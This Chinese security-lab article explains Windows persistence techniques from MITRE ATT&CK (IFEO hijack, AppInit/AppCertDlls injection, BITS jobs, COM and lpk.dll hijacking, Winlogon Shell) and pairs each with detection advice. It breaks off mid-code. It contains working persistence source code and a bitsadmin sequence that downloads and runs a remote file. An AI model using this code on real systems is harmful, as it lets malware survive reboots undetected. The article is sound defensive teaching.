ATT&CK之後門持久化(一)

2021-02-24 天融信阿爾法實驗室

前言

在網絡安全的世界裡,白帽子與黑帽子之間無時無刻都在進行著正與邪的對抗,似乎永無休止。正所謂,道高一尺魔高一丈,巨大的利益驅使著個人或組織利用技術進行不法行為,花樣層出不窮,令人防不勝防。

  為了更好的應對這些攻擊手段,就需要做到了解對手。俗話說:知己知彼,方能百戰不殆。MITREATT&CK™就提供了全球範圍的黑客的攻擊手段和技術知識點,並把APT組織或惡意工具使用到的攻擊手段一一對應,便於從根源上解決問題。許多公司和政府部門都會從中提取信息,針對遇到的威脅建立安全體系或模型。我們作為安全從業人員,如果能夠掌握MITRE ATT&CK™如此龐大的知識體系,對以後的工作和對抗來說,就像是擁有了一個武器庫,所向披靡。

當然,這麼一個龐大的體系是不可能一蹴而就的。我們可以依照MITRE ATT&CK™的框架,先從持久化這一點開始。本文的主要內容是介紹APT攻擊者在Windows系統下持久運行惡意代碼的常用手段,其中的原理是什麼,是怎樣實現的,我們應該從哪些方面預防和檢測。希望對大家有所幫助!

本文測試環境:

測試系統:Windows7

編譯器:VisualStuidio 2008

以下是本文按照MITRE ATTACK框架介紹的例子和其對應的介紹,我們深入分析了實現的原理,並且通過原理開發了相應的利用工具進行測試,測試呈現出的效果也都在下文一一展現。

標題

簡介

權限

連結

輔助功能鏡像劫持

在註冊表中創建一個輔助功能的註冊表項,並根據鏡像劫持的原理添加鍵值,實現系統在未登錄狀態下,通過快捷鍵運行自己的程序。

管理員

https://attack.mitre.org/techniques/T1015/

https://attack.mitre.org/techniques/T1183/

進程注入之AppCertDlls 註冊表項

編寫了一個dll,創建一個AppCertDlls註冊表項,在默認鍵值中添加dll的路徑,實現了對使用特定API進程的注入。

管理員

https://attack.mitre.org/techniques/T1182/

進程注入之AppInit_DLLs註冊表項

在某個註冊表項中修改AppInit_DLLs和LoadAppInit_DLLs鍵值,實現對加載user32.dll進程的注入。

管理員

https://attack.mitre.org/techniques/T1103/

BITS 的靈活應用

通過bitsadmin命令加入傳輸任務,利用BITS的特性,實現每次重啟都會執行自己的程序。

用戶

https://attack.mitre.org/techniques/T1197/

Com組件劫持

編寫了一個dll,放入特定的路徑,在註冊表項中修改默認和  ThreadingModel鍵值,實現打開計算器就會運行程序。

用戶

https://attack.mitre.org/techniques/T1122/

DLL劫持

編寫了一個lpk.dll,根據Windows的搜索模式放在指定目錄中,修改註冊表項,實現了開機啟動執行dll。

用戶

https://attack.mitre.org/techniques/T1038/

Winlogon helper

編寫了一個dll,裡面有一個導出函數,修改註冊表項,實現用戶登錄時執行導出函數。

管理員

https://attack.mitre.org/techniques/T1004/

篡改服務進程

編寫一個服務進程,修改服務的註冊表項,實現了開機啟動自己的服務進程。

管理員

https://attack.mitre.org/techniques/T1031/

替換屏幕保護程序

修改註冊表項,寫入程序路徑,實現在觸發屏保程序運行時我們的程序被執行

用戶

https://attack.mitre.org/techniques/T1180/

創建新服務

編寫具有添加服務和修改註冊表功能的程序以及有一定格式的dll,實現服務在後臺穩定運行。

管理員

https://attack.mitre.org/techniques/T1050/

啟動項

根據Startup目錄和註冊表Run鍵,創建快捷方式和修改註冊表,實現開機自啟動

用戶

https://attack.mitre.org/techniques/T1060/

WMI事件過濾

用WMIC工具註冊WMI事件,實現開機120秒後觸發設定的命令

管理員

https://attack.mitre.org/techniques/T1084/

Netsh Helper DLL

編寫了一個netsh helper dll,通過netsh命令加入了 helper 列表,並將netsh 加入了計劃任務,實現開機執行DLL

管理員

https://attack.mitre.org/techniques/T1128/

 

輔助功能鏡像劫持

代碼及原理介紹

為了使電腦更易於使用和訪問,Windows添加了一些輔助功能。這些功能可以在用戶登錄之前以組合鍵啟動。根據這個特徵,一些惡意軟體無需登錄到系統,通過遠程桌面協議就可以執行惡意代碼。

一些常見的輔助功能如:

C:\Windows\System32\sethc.exe    粘滯鍵    快捷鍵:按五次shift鍵

C:\Windows\System32\utilman.exe     設置中心   快捷鍵:Windows+U鍵

下圖就是在未登陸時彈出的設置中心

在較早的Windows版本,只需要進行簡單的二進位文件替換,比如,程序」C:\Windows\System32\utilman.exe」可以替換為「cmd.exe」。

對於在Windows Vista和WindowsServer 2008及更高的版本中,替換的二進位文件受到了系統的保護,因此這裡就需要另一項技術:映像劫持。

映像劫持,也被稱為「IFEO」(ImageFile Execution Options)。當目標程序被映像劫持時,雙擊目標程序,系統會轉而運行劫持程序,並不會運行目標程序。許多病毒會利用這一點來抑制殺毒軟體的運行,並運行自己的程序。

造成映像劫持的罪魁禍首就是參數「Debugger」,它是IFEO裡第一個被處理的參數,系統如果發現某個程序文件在IFEO列表中,它就會首先來讀取Debugger參數,如果該參數不為空,系統則會把Debugger參數裡指定的程序文件名作為用戶試圖啟動的程序執行請求來處理,而僅僅把用戶試圖啟動的程序作為Debugger參數裡指定的程序文件名的參數發送過去。

參數「Debugger」本來是為了讓程式設計師能夠通過雙擊程序文件直接進入調試器裡調試自己的程序。現在卻成了病毒的攻擊手段。

簡單操作就是修改註冊表,在「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ImageFile Execution Option」中添加utilman.exe項,在此項中添加debugger鍵,鍵值為要啟動的程序路徑。

實現代碼:

HKEY hKey;

const char path[]= "C:\\hello.exe";

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\ImageFile Execution Options\\Utilman.exe", 0,NULL, 0, KEY_WRITE, NULL,&hKey,&dwDisposition);

RegSetValueExA(hKey,"Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))

當然,我們自己的程序要放到相應的路徑,關於資源文件的釋放,下文會提到,這裡暫且按下不講。

運行效果圖

當重新回到登錄界面,按下快捷鍵時,結果如圖:

 

註冊表鍵值情況如下圖:

檢查及清除方法

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Option註冊表路徑中的程序名稱需要檢查。

其它適用於的輔助功能還有:

屏幕鍵盤:C:\Windows\System32\osk.exe

放大鏡:C:\Windows\System32\Magnify.exe

旁白:C:\Windows\System32\Narrator.exe

顯示開關:C:\Windows\System32\DisplaySwitch.exe

應用程式開關:C:\Windows\System32\AtBroker.exe

現在大部分的殺毒軟體都會監視註冊表項來防禦這種惡意行為。

進程注入之AppCertDlls註冊表項

代碼及原理介紹

如果有進程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec函數,那麼此進程會獲取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls註冊表項,此項下的dll都會加載到此進程。

Win7版本下沒有「AppCertDlls」項,需自己創建。

代碼如下:

HKEY hKey;

const char path[]= "C:\\dll.dll";

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\SessionManager\\AppCertDlls", 0, NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);

RegSetValueExA(hKey,"Default", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

Dll代碼:

BOOL TestMutex()

{

    HANDLE hMutex = CreateMutexA(NULL, false,"myself");

    if (GetLastError() == ERROR_ALREADY_EXISTS)

    {

       CloseHandle(hMutex);

       return 0;

    }

    return 1;

}

 

BOOL APIENTRYDllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

    switch (ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:

       if (TestMutex() == 0)

           return TRUE;

       MessageBoxA(0,"hellotopsec","AppCert",0);

    case DLL_THREAD_ATTACH:

    case DLL_THREAD_DETACH:

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}

運行效果圖

修改完註冊表之後,寫個測試小程序,用CreateProcess打開notepad.exe

可以看到test.exe中已經加載dll.dll,並彈出「hellotopsec」。也能發現,在svchost.exe和taskeng.exe中也加載了dll.dll。

檢查及清除方法

監測dll的加載,特別是查找不是通常的dll,或者不是正常加載的dll。

監視AppCertDLL註冊表值

 監視和分析註冊表編輯的API調用,如RegCreateKeyEx和RegSetValueEx。

進程注入之AppInit_DLLs註冊表項

代碼及原理介紹

User32.dll被加載到進程時,會獲取AppInit_DLLs註冊表項,若有值,則調用LoadLibrary()API加載用戶DLL。只會影響加載了user32.dll的進程。

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

代碼如下:

HKEY hKey;

DWORDdwDisposition;

const char path[]= "C:\\AppInit.dll";

DWORD dwData = 1;

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);

RegSetValueExA(hKey,"AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

RegSetValueExA(hKey,"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));

運行效果圖

修改過後如下圖所示:

運行cmd.exe,就會發現cmd.exe已經加載指定dll,並彈框。運行「放大鏡」等一樣可行。

檢查及清除方法

監測加載User32.dll的進程的dll的加載,特別是查找不是通常的dll,或者不是正常加載的dll。

監視AppInit_DLLs註冊表值。

監視和分析註冊表編輯的API調用,如RegCreateKeyEx和RegSetValueEx。


BITS的靈活應用

代碼及原理介紹

BITS,後臺智能傳輸服務,是一個 Windows 組件,它可以利用空閒的帶寬在前臺或後臺異步傳輸文件,例如,當應用程式使用80%的可用帶寬時,BITS將只使用剩下的20%。不影響其他網絡應用程式的傳輸速度,並支持在重新啟動計算機或重新建立網絡連接之後自動恢復文件傳輸。

通常來說,BITS會代表請求的應用程式異步完成傳輸,即應用程式請求BITS服務進行傳輸後,可以自由地去執行其他任務,乃至終止。只要網絡已連接並且任務所有者已登錄,則傳輸就會在後臺進行。當任務所有者未登錄時,BITS任務不會進行。

BITS採用隊列管理文件傳輸。一個BITS會話是由一個應用程式創建一個任務而開始。一個任務就是一份容器,它有一個或多個要傳輸的文件。新創建的任務是空的,需要指定來源與目標URI來添加文件。下載任務可以包含任意多的文件,而上傳任務中只能有一個文件。可以為各個文件設置屬性。任務將繼承創建它的應用程式的安全上下文。BITS提供API接口來控制任務。通過編程可以來啟動、停止、暫停、繼續任務以及查詢狀態。在啟動一個任務前,必須先設置它相對於傳輸隊列中其他任務的優先級。默認情況下,所有任務均為正常優先級,而任務可以被設置為高、低或前臺優先級。BITS將優化後臺傳輸被,根據可用的空閒網絡帶寬來增加或減少(抑制)傳輸速率。如果一個網絡應用程式開始耗用更多帶寬,BITS將限制其傳輸速率以保證用戶的交互式體驗,但前臺優先級的任務除外。

BITS的調度採用分配給每個任務有限時間片的機制,一個任務被暫停時,另一個任務才有機會獲得傳輸時機。較高優先級的任務將獲得較多的時間片。BITS採用循環制處理相同優先級的任務,並防止大的傳輸任務阻塞小的傳輸任務。

常用於 WindowsUpdate的安裝更新。

BITSAdmin,BITS管理工具,是管理BITS任務的命令行工具。

常用命令:

列出所有任務:bitsadmin/list /allusers /verbose

刪除某個任務:bitsadmin/cancel <Job>

刪除所有任務:bitsadmin/reset /allusers

完成任務:bitsadmin/complete <Job>

完整配置任務命令如下:

bitsadmin/create TopSec

bitsadmin/addfile TopSechttps://gss3.bdstatic.com/7Po3dSag_xI4khGkpoWK1HF6hhy/baike/w%3D268%3Bg%3D0/sign=860ac8bc858ba61edfeecf29790ff037/b3fb43166d224f4a179bbd650ef790529822d142.jpg  C:\TopSec.jpg

bitsadmin.exe/SetNotifyCmdLine TopSec "%COMSPEC%" "cmd.exe /c bitsadmin.exe/complete \"TopSec\" && start /B C:\TopSec.jpg"

bitsadmin/Resume TopSec

下載圖片到指定文件夾,完成後直接打開圖片。

如果圖片可以打開,那麼就說明可以打開任意二進位程序。而BITS又有可以中斷後繼續工作的特性,所以下面就是解決在系統重新啟動後仍能自動運行的操作。

現在將完成參數「complete」去掉,為了節省時間,將下載的遠程伺服器文件換成本地文件。代碼如下:

void BitsJob()

{

    char szSaveName[MAX_PATH] ="C:\\bitshello.exe";

    if (FALSE == m_Bits)

    {

       // 釋放資源

       BOOL bRet = FreeMyResource(IDR_MYRES22,"MYRES2", szSaveName);

       WinExec("bitsadmin /createTopSec", 0);

       WinExec("bitsadmin /addfile TopSec\"C:\\Windows\\system32\\cmd.exe\" \"C:\\cmd.exe\"",0);

       WinExec("bitsadmin.exe/SetNotifyCmdLine TopSec \"C:\\Windows\\system32\\cmd.exe\"\"cmd.exe /c C:\\bitshello.exe\"", 0);

       WinExec("bitsadmin /ResumeTopSec", 0);

       m_Bits = TRUE;

    }

    else

    {

       WinExec("bitsadmin /completeTopSec", 0);

       remove(szSaveName);

       m_Bits = FALSE;

    }

    UpdateData(FALSE);

}

解除未完成狀態,需要命令「bitsadmin /complete TopSec」。

運行效果圖

運行之後,拷貝到C盤的cmd.exe沒有出現,卻依然彈出對話框。

查看BITS任務列表,發現任務依然存在

重啟計算機,發現彈出對話框,BITS任務依然存在。

執行命令「bitsadmin /complete TopSec」,出現拷貝到C盤的程序cmd.exe,任務完成。

檢查及清除方法

BITS服務的運行狀態可以使用SC查詢程序來監視(命令:sc query bits),任務列表由BITSAdmin來查詢。

監控和分析由BITS生成的網絡活動。

Com組件劫持

代碼及原理介紹

COM是Component Object Model (組件對象模型)的縮寫,COM組件由DLL和EXE形式發布的可執行代碼所組成。每個COM組件都有一個CLSID,這個CLSID是註冊的時候寫進註冊表的,可以把這個CLSID理解為這個組件最終可以實例化的子類的一個ID。這樣就可以通過查詢註冊表中的CLSID來找到COM組件所在的dll的名稱。

所以要想COM劫持,必須精心挑選CLSID,儘量選擇應用範圍廣的CLSID。這裡,我們選擇的CLSID為:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},來實現對CAccPropServicesClass 和 MMDeviceEnumerator 的劫持。系統很多正常程序啟動時需要調用這兩個實例。例如計算器。

Dll存放的位置://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}

接下來就是修改註冊表,在指定路徑添加文件,具體代碼如下:

void CPersistenceDlg::comHijacking()

{

    HKEY hKey;

    DWORD dwDisposition;

   //%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}

    char system1[] ="C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";

    char system2[] = "Apartment";

    string defaultPath ="C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";

    string szSaveName ="C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";

    if (FALSE == m_Com)

    {

       //string folderPath = defaultPath +"\\testFolder";

       string command;

       command = "mkdir -p " +defaultPath;

       system(command.c_str());

       // 釋放資源

       BOOL bRet = FreeMyResource(IDR_MYRES23,"MYRES2", system1);

       if (ERROR_SUCCESS !=RegCreateKeyExA(HKEY_CURRENT_USER,

           "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

       {

           ShowError("RegCreateKeyExA");

           return;

       }

       if (ERROR_SUCCESS != RegSetValueExA(hKey,NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))

       {

           ShowError("RegSetValueEx");

           return;

       }

       if (ERROR_SUCCESS != RegSetValueExA(hKey,"ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 +::lstrlenA(system2))))

       {

           ShowError("RegSetValueEx");

           return;

       }

       ::MessageBoxA(NULL, "comHijackingOK!", "OK", MB_OK);

       m_Com = TRUE;

    }

    else

    {

       if (ERROR_SUCCESS !=RegCreateKeyExA(HKEY_CURRENT_USER,

           "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

       {

           ShowError("RegCreateKeyExA");

           return;

       }

       if (ERROR_SUCCESS !=RegDeleteValueA(hKey, NULL))

       {

           ShowError("RegDeleteValueA");

           return;

       }

       if (ERROR_SUCCESS !=RegDeleteValueA(hKey, "ThreadingModel"))

       {

           ShowError("RegDeleteValueA");

           return;

       }

       remove(szSaveName.c_str());

       remove(defaultPath.c_str());

       ::MessageBoxA(NULL, "DeletecomHijacking OK!", "OK", MB_OK);

       m_Com = FALSE;

    }

    UpdateData(FALSE);

}

運行效果圖

運行後,文件和註冊表如下:

運行計算器,彈出對話框:

檢查及清除方法

 由於COM對象是作業系統和已安裝軟體的合法部分,因此直接阻止對COM對象的更改可能會對正常的功能產生副作用。相比之下,使用白名單識別潛在的病毒會更有效。

  現有COM對象的註冊表項可能很少發生更改。當具有已知路徑和二進位的條目被替換或更改為異常值以指向新位置中的未知二進位時,它可能是可疑的行為,應該進行調查。同樣,如果收集和分析程序DLL加載,任何與COM對象註冊表修改相關的異常DLL加載都可能表明已執行COM劫持。

DLL劫持程

代碼及原理介紹

眾所周知,Windows有資源共享機制,當對象想要訪問此共享功能時,它會將適當的DLL加載到其內存空間中。但是,這些可執行文件並不總是知道DLL在文件系統中的確切位置。為了解決這個問題,Windows實現了不同目錄的搜索順序,其中可以找到這些DLL。

系統使用DLL搜索順序取決於是否啟用安全DLL搜索模式。

WindowsXP默認情況下禁用安全DLL搜索模式。之後默認啟用安全DLL搜索模式

若要使用此功能,需創建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\SafeDllSearchMode註冊表值,0為禁止,1為啟用。

SafeDLLSearchMode啟用後,搜索順序如下:

從其中加載應用程式的目錄、

系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。

16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。

 Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。

當前目錄。

PATH環境變量中列出的目錄。

SafeDLLSearchMode禁用後,搜索順序如下:

從其中加載應用程式的目錄

當前目錄

系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。

16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。

Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。

PATH環境變量中列出的目錄。

DLL劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程式使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置於比合法DLL更高的位置,則應用程式將加載惡意DLL。

可以用來劫持系統程序,也可以劫持用戶程序。劫持系統程序具有兼容性,劫持用戶程序則有針對性。結合本文的主題,這裡選擇劫持系統程序。

可以劫持的dll有:

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll

以lpk.dll為列,explorer桌面程序的啟動需要加載lpk.dll,當進入桌面後lpk.dll便被加載了,劫持lpk.dll之後,每次啟動系統,自己的lpk.dll都會被加載,實現了持久化攻擊的效果。

下面就是要構建一個lpk.dll:

1.將系統下的lpk.dll導入IDA,查看導出表的函數

將系統下的lpk.dll導入IDA,查看導出表的函數

構造一個和lpk.dll一樣的導出表

加載系統目錄下的lpk.DLL

將導出函數轉發到系統目錄下的LPK.DLL上

在初始化函數中加入我們要執行的代碼。

具體dll代碼如下:

#include"pch.h"

#include<windows.h>

#include<process.h>

// 導出函數

#pragmacomment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")

#pragmacomment(linker,"/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")

#pragmacomment(linker,"/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")

#pragmacomment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")

#pragmacomment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")

#pragmacomment(linker,"/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")

#pragmacomment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")

#pragmacomment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")

#pragmacomment(linker,"/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")

#pragmacomment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")

// 宏定義

#define EXTERNCextern "C"

#define NAKED__declspec(naked)

#define EXPORT__declspec(dllexport)

 

#define ALCPPEXPORT NAKED

#define ALSTDEXTERNC EXPORT NAKED void __stdcall

#define ALCFASTEXTERNC EXPORT NAKED void __fastcall

#define ALCDECLEXTERNC NAKED void __cdecl

//LpkEditControl導出的是數組,不是單一的函數(by Backer)

EXTERNC void__cdecl AheadLib_LpkEditControl(void);

EXTERNC__declspec(dllexport) void (*LpkEditControl[14])() = { AheadLib_LpkEditControl};

//添加全局變量

BOOL g_bInited =FALSE;

// AheadLib 命名空間

namespace AheadLib

{

    HMODULE m_hModule = NULL;    // 原始模塊句柄

 

    // 加載原始模塊

    BOOL WINAPI Load()

    {

       TCHAR tzPath[MAX_PATH];

       TCHAR tzTemp[MAX_PATH * 2];

 

       GetSystemDirectory(tzPath, MAX_PATH);

       lstrcat(tzPath,TEXT("\\lpk.dll"));

       OutputDebugString(tzPath);

       m_hModule = LoadLibrary(tzPath);

       if (m_hModule == NULL)

       {

           wsprintf(tzTemp, TEXT("無法加載 %s,程序無法正常運行。"), tzPath);

           MessageBox(NULL, tzTemp,TEXT("AheadLib"), MB_ICONSTOP);

       };

 

       return (m_hModule != NULL);

    }

 

    // 釋放原始模塊

    VOID WINAPI Free()

    {

       if (m_hModule)

       {

           FreeLibrary(m_hModule);

       }

    }

 

    // 獲取原始函數地址

    FARPROC WINAPI GetAddress(PCSTR pszProcName)

    {

       FARPROC fpAddress;

       CHAR szProcName[16];

       TCHAR tzTemp[MAX_PATH];

 

       fpAddress = GetProcAddress(m_hModule,pszProcName);

       if (fpAddress == NULL)

       {

           if (HIWORD(pszProcName) == 0)

           {

              wsprintfA(szProcName,"%p", pszProcName);

              pszProcName = szProcName;

           }

 

           wsprintf(tzTemp, TEXT("無法找到函數 %hs,程序無法正常運行。"), pszProcName);

           MessageBox(NULL, tzTemp,TEXT("AheadLib"), MB_ICONSTOP);

           ExitProcess(-2);

       }

 

       return fpAddress;

    }

}

using namespaceAheadLib;

//函數聲明

void WINAPIVInit(LPVOID pParam);

void WINAPIVInit(LPVOID pParam)

{

    MessageBoxA(0, "Hello Topsec","Hello Topsec", 0);//在這裡添加DLL加載代碼

    return;

}

// 入口函數

BOOL WINAPI DllMain(HMODULEhModule, DWORD dwReason, PVOID pvReserved)

{

   

    if (dwReason == DLL_PROCESS_ATTACH)

    {

       DisableThreadLibraryCalls(hModule);

       if (g_bInited == FALSE) {

           Load();

           g_bInited = TRUE;

       }

 

       //LpkEditControl這個數組有14個成員,必須將其複製過來   

       memcpy((LPVOID)(LpkEditControl + 1),(LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);

       _beginthread(Init, NULL, NULL);

    }

    else if (dwReason == DLL_PROCESS_DETACH)

    {

       Free();

    }

    return TRUE;

}

// 導出函數

ALCDECLAheadLib_LpkInitialize(void)

{

    if (g_bInited == FALSE) {

       Load();

       g_bInited = TRUE;

    }

    GetAddress("LpkInitialize");

    __asm JMP EAX;

}

// 導出函數

ALCDECLAheadLib_LpkTabbedTextOut(void)

{

    GetAddress("LpkTabbedTextOut");

    __asm JMP EAX;

}

// 導出函數

ALCDECLAheadLib_LpkDllInitialize(void)

{

    GetAddress("LpkDllInitialize");

    __asm JMP EAX;

}

// 導出函數

ALCDECLAheadLib_LpkDrawTextEx(void)

{

    GetAddress("LpkDrawTextEx");

    __asm JMP EAX;

}

 

 

// 導出函數

ALCDECLAheadLib_LpkEditControl(void)

{

    GetAddress("LpkEditControl");

    __asm jmp DWORD ptr[EAX];//這裡的LpkEditControl是數組,eax存的是函數指針

}

 

 

// 導出函數

ALCDECLAheadLib_LpkExtTextOut(void)

{

    GetAddress("LpkExtTextOut");

    __asm JMP EAX;

}

 

 

// 導出函數

ALCDECLAheadLib_LpkGetCharacterPlacement(void)

{

    GetAddress("LpkGetCharacterPlacement");

    __asm JMP EAX;

}

 

 

// 導出函數

ALCDECL AheadLib_LpkGetTextExtentExPoint(void)

{

    GetAddress("LpkGetTextExtentExPoint");

    __asm JMP EAX;

}

 

 

// 導出函數

ALCDECLAheadLib_LpkPSMTextOut(void)

{

    GetAddress("LpkPSMTextOut");

    __asm JMP EAX;

}

 

 

 

// 導出函數

ALCDECLAheadLib_LpkUseGDIWidthCache(void)

{

    GetAddress("LpkUseGDIWidthCache");

    __asm JMP EAX;

}

 

 

 

// 導出函數

ALCDECLAheadLib_ftsWordBreak(void)

{

    GetAddress("ftsWordBreak");

    __asm JMP EAX;

}

最後修改註冊表鍵值HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManagerExcludeFromKnownDlls,把lpk.dll加進去。

HKEY hKey;

DWORDdwDisposition;

const char path[]= "lpk.dll";

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"System \\ CurrentControlSet \\ Control\\ SessionManager ", 0, NULL, 0,KEY_WRITE, NULL, &hKey, &dwDisposition));

RegSetValueExA(hKey,NULL, 0, REG_MULTI_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

運行效果圖

將生成的lpk.dll放到c:/Windows目錄:

重啟系統,自動彈出對話框

查找explorer,加載的正是我們的lpk.dll

註冊表修改如下

檢查及清除方法

監視加載到進程中的DLL,並檢測具有相同文件名但路徑異常的DLL。

啟用安全DLL搜索模式,與此相關的Windows註冊表鍵位於HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\SafeDLLSearchMode


winlogon helper

代碼及原理介紹

Winlogon.exe進程是Windows作業系統中非常重要的一部分,Winlogon用於執行與Windows登錄過程相關的各種關鍵任務,例如,當在用戶登錄時,Winlogon進程負責將用戶配置文件加載到註冊表中。

Winlogon進程會HOOK系統函數監控鍵盤是否按下Ctrl+ Alt + Delete,這被稱為「Secure Attention Sequence」,這就是為什麼一些系統會配置為要求您在登錄前按Ctrl + Alt + Delete。這種鍵盤快捷鍵的組合被Winlogon.exe捕獲,確保您安全登錄桌面,其他程序無法監控您正在鍵入的密碼或模擬登錄對話框。Windows登錄應用程式還會捕獲用戶的鍵盤和滑鼠活動,在一段時間未發現鍵盤和滑鼠活動時啟動屏幕保護程序。

 

總之,Winlogon是登錄過程的關鍵部分,需要持續在後臺運行。如果您有興趣,Microsoft還提供Winlogon進程的更詳細的技術說明,在此不再贅述。

 

在註冊表項HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和HKCU\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\用於管理支持Winlogon的幫助程序和擴展功能,對這些註冊表項的惡意修改可能導致Winlogon加載和執行惡意DLL或可執行文件。已知以下子項可能容易被惡意代碼所利用:

Winlogon\Notify                - 指向處理Winlogon事件的通知包DLL

Winlogon\Userinit- 指向userinit.exe,即用戶登錄時執行的用戶初始化程序

Winlogon\Shell                - 指向explorer.exe,即用戶登錄時執行的系統shell

 

攻擊者可以利用這些功能重複執行惡意代碼建立持久後門,如下的代碼演示了如何通過在Winlogon\Shell子鍵添加惡意程序路徑實現駐留系統的目的。

BOOL  add_winlogon_helper()

{

    BOOL ret = FALSE;

    LONG rcode = NULL;

    DWORD key_value_type;

    BYTE shell_value_buffer[MAX_PATH * 2];

    DWORD value_buffer_size =  sizeof(shell_value_buffer) ;

    HKEY winlogon_key = NULL;

    DWORD set_value_size;

    BYTE path[MAX_PATH];

 

 

    rcode = RegOpenKeyEx(HKEY_CURRENT_USER,  _TEXT("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"),

            NULL, KEY_ALL_ACCESS,  &winlogon_key);

    if (rcode != ERROR_SUCCESS)

    {

        goto ERROR_EXIT;

    }

   

    //

    rcode =  RegQueryValueEx(winlogon_key,_TEXT("shell"), NULL,  &key_value_type, shell_value_buffer, &value_buffer_size);

    if (rcode != ERROR_SUCCESS)

    {

        //找不到指定的鍵值

        if (rcode == 0x2)  

        {

            //寫入explorer.exe 和自定義的路徑

            lstrcpy((TCHAR*)path,  _TEXT("explorer.exe, rundll32.exe \"C:\\topsec.dll\"  RunProc"));

            set_value_size =  lstrlen((TCHAR*)path) * sizeof(TCHAR) + sizeof(TCHAR);

 

            rcode =  RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, path,  set_value_size);

            if (rcode != ERROR_SUCCESS)

            {

                goto ERROR_EXIT;

            }

        }

        else

        {

            goto ERROR_EXIT;

        }

    }

    else

    {

        //原先已存在,追加寫入

        lstrcat((TCHAR*)shell_value_buffer,  _TEXT(",rundll32.exe \"C:\\topsec.dll\" RunProc"));

        set_value_size =  lstrlen((TCHAR*)shell_value_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

        rcode = RegSetValueEx(winlogon_key, _TEXT("shell"),  NULL, REG_SZ, shell_value_buffer, set_value_size);

        if (rcode != ERROR_SUCCESS)

        {

            goto ERROR_EXIT;

        }

    }

 

    ret = TRUE;

 

ERROR_EXIT:

    if (winlogon_key != NULL)

    {

        RegCloseKey(winlogon_key);

        winlogon_key = NULL;

    }

    return ret;

}

 

其中topsec.dll 的導出函數RunProc 代碼如下:

extern "C"  __declspec(dllexport) void   RunProc(HWND hwnd,HINSTANCE hinst, LPTSTR lpCmdLine,int nCmdShow)

{

    while  (TRUE)

    {

       OutputDebugString(_TEXT("Hello  Topsec with Rundll32!!!"));
